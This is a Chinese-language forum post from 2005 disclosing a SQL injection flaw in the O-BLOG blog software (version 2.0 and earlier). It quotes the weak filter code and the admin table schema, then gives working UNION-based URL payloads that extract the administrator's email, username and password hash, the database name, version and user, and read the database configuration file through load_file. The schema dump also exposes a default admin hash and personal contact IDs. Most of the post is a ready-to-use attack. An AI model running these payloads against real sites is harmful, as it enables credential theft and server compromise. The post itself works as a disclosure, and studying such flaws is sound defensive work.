一路问情个人家园一路问情游戏攻略一路问情综合信息查询一路问情软件游戏外挂下载一路问情高清在线一路问情d21.09暗黑战网关于一路问情团队
打印

O-BLOG checkSQL过滤不严漏洞

O-BLOG checkSQL过滤不严漏洞

发现日期:2005.7.1
漏洞涉及版本:O-BLOG   Version <= 2.0
官方网站:http://www.phpBlog.cn
漏洞分析及利用:

config.php
----------------------可爱的分割线(偷wofeiwo的)-----------------------------
[codz begin]
function checkSQL($content)
{
$char = array("'","or","and");//过滤不严
for($i=0;$i if(strstr($content,$char[$i])) {
  die();
}
}
Return $content;
}

[codz end]
----------------------可爱的分割线-----------------------------

blog.php
----------------------可爱的分割线(偷wofeiwo的)-----------------------------
[codz begin]


if(isset($_GET['do']))
{
$ac = checkSQL($_GET['do']);

if($ac == 'showclass')
{
@$classid = checkSQL($_GET['classid']);
require('class/show_one_class.php');
}
elseif($ac == 'ShowOneDayBlog')
{
@$date = checkSQL($_GET['date']);
require('class/show_one_day_blog.php');
$main = $OneDayBlogData;
}

...............

[codz end]
----------------------可爱的分割线-----------------------------

我们可以通过大小写、union等绕过检查,察看ob_admin表中的敏感信息
表结构如下:
------------------------------------------------------

//建立表 ob_admin
$sql[] = "CREATE TABLE `ob_admin` (
`username` varchar(15) default 'admin',
`password` varchar(40) default '21232f297a57a5a743894a0e4a801fc3',
`email` varchar(100) default 'admin@shirui.org',
`homepage` varchar(100) default 'http://shirui.org',
`qq` varchar(30) default '5194913',
`msn` varchar(100) default 'shishirui@hotmail.com',
`icq` varchar(100) default '123456789',
`remark` text
) TYPE=MyISAM;";

//导入数据 ob_admin
$sql[] = "INSERT INTO `ob_admin` VALUES ('admin', '21232f297a57a5a743894a0e4a801fc3', 'admin@shirui.org', 'http://shirui.org', '5194913', 'shishirui@hotmail.com', '123456789', '这家伙很懒,什么都没留下.');";
-----------------------------------------------

获取用户数据:
获取邮箱/blog.php?id=1%20union%20select%201,1,1,email,1%20from%20ob_admin
获取用户名/blog.php?id=1%20union%20select%201,1,1,username,1%20from%20ob_admin
获取密码,md5加密的/blog.php?id=1%20union%20select%201,1,1,PASSWORD,1%20from%20ob_admin
注意:这里password要大写,我也没找到原因,如果你知道请告诉我Blog: http://wmjie.51.net/swords/

获取数据库数据:
获取数据库名/blog.php?id=31%20union%20select%201,1,1,database(),1%20from%20ob_admin
获取数据库版本/blog.php?id=31%20union%20select%201,1,1,version(),1%20from%20ob_admin
获取数据库当前用户/blog.php?id=31%20union%20select%201,1,1,CURRENT_USER(),1%20from%20ob_admin

获取文件敏感数据(须知道物理路径,其中path即根目录物理路径):
/blog.php?id=31%20union%20select%201,1,1,loadfile('/path/blog/admin/mysql.php'),1%20from%20ob_admin

(kevin1986:好象非root用户默认情况下都没有读文件的权限)
其中admin/mysql.php是数据库连接的所有信息!

ps:function search()过滤的也不怎么严,搜索型注入,你会你教我啊

TOP